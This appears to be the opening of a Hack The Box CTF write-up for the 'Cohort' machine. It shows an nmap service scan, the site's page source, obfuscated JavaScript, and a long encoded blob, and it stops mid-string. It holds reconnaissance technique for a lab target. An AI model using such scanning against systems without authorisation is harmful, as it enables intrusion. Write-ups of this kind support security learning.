Hack The Box Machine Season 11 - Cohort - Easy - Linux
Difficulty: Easy - Linux
Start machine and scanning for opening ports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ sudo nmap 10.129.19.132 -A -T4
[sudo] password for nhannha:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-07 00:28 EDT
Nmap scan report for 10.129.19.132
Host is up (0.22s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://cohort.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-title: Did not follow redirect to https://cohort.htb/
| ssl-cert: Subject: commonName=cohort.htb/organizationName=Cohort Analytics
| Subject Alternative Name: DNS:cohort.htb, DNS:*.cohort.htb
| Not valid before: 2026-06-01T18:47:07
|_Not valid after: 2126-05-08T18:47:07
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 110/tcp)
HOP RTT ADDRESS
1 257.37 ms 10.10.16.1
2 326.66 ms 10.129.19.132
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.86 seconds
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$
Not found any special things, access to the web, check page source and founded app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Cohort Analytics</title>
<meta name="description" content="Cohort Analytics - retention intelligence for subscription teams.">
<link rel="stylesheet" href="[/assets/styles.css](view-source:https://cohort.htb/assets/styles.css)">
</head>
<body>
<div id="app" data-page="home" aria-busy="true">
<div class="boot"><span class="boot-mark" aria-hidden="true"></span><span>Loading Cohort Analytics</span></div>
</div>
<noscript>
<div style="max-width:640px;margin:18vh auto;padding:0 24px;font-family:system-ui,sans-serif;color:#15181d;text-align:center;">
<h1 style="font-size:1.4rem;">JavaScript required</h1>
<p style="color:#4a5159;">The Cohort Analytics workspace runs in your browser. Please enable JavaScript to continue.</p>
</div>
</noscript>
<script src="[/assets/app.js](view-source:https://cohort.htb/assets/app.js)" defer></script>
</body>
</html>
The code has been obfuscated
1
2
3
4
5
(function(_0x25ef22,_0x5d3a1a){var _0x2ec8f9=a0_0x41a8,_0x5e6aa1=_0x25ef22();while(!![]){try{var _0xd50d27=parseInt(_0x2ec8f9(0x74e,'ugVw'))/0x1+-parseInt(_0x2ec8f9(0x662,'1EKa'))/0x2*(parseInt(_0x2ec8f9(0x178,'6TP2'))/0x3)+parseInt(_0x2ec8f9(0x581,'%yEn'))/0x4+-parseInt(_0x2ec8f9(0xcaf,'x#6]'))/0x5*(-parseInt(_0x2ec8f9(0xb8d,'Y)[Q'))/0x6)+-parseInt(_0x2ec8f9(0x3fa,'kxTR'))/0x7*(-parseInt(_0x2ec8f9(0x77d,'@Z2e'))/0x8)+parseInt(_0x2ec8f9(0x665,']%Lb'))/0x9+parseInt(_0x2ec8f9(0x6c3,'zUwL'))/0xa*(-parseInt(_0x2ec8f9(0x2d7,'$9sa'))/0xb);if(_0xd50d27===_0x5d3a1a)break;else _0x5e6aa1['push'](_0x5e6aa1['shift']());}catch(_0xf0fc3a){_0x5e6aa1['push'](_0x5e6aa1['shift']());}}}(a0_0x2bc2,0x683db),(function(){var _0x4242bb=a0_0x41a8,_0x181d40={'wlDdb':function(_0x282519,_0x238858){return _0x282519<_0x238858;},'kfYBT':_0x4242bb(0x849,'i8BW')+_0x4242bb(0x410,'$9sa'),'aTXwt':_0x4242bb(0x29a,'fSZf')+'M','WfTJB':function(_0x47786f,_0x4aa8f0){return _0x47786f(_0x4aa8f0);},'RaRmP':function(_0x396246,_0x4ffc26,_0xf24fe){return _0x396246(_0x4ffc26,_0xf24fe);},'ZAhcC':function(_0xfb1162){return _0xfb1162();},'NKusp':_0x4242bb(0xcc5,'c4wr'),'JEFQZ':function(_0x1db4b1,_0x42cee5)
<... snip ...>
;a0_0x2bc2=function(){return _0x2b5fab;};return a0_0x2bc2();}
deobfuscate the code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
(function () {
var _0x16829b = "NnB02s8+X30K3WtHOjWy4qXJ2F2ihnnSImL6X4GRyZQ=";
var _0xd4dcec = "fSc+LTJkAMJgRJbQ";
var _0x5189ce = "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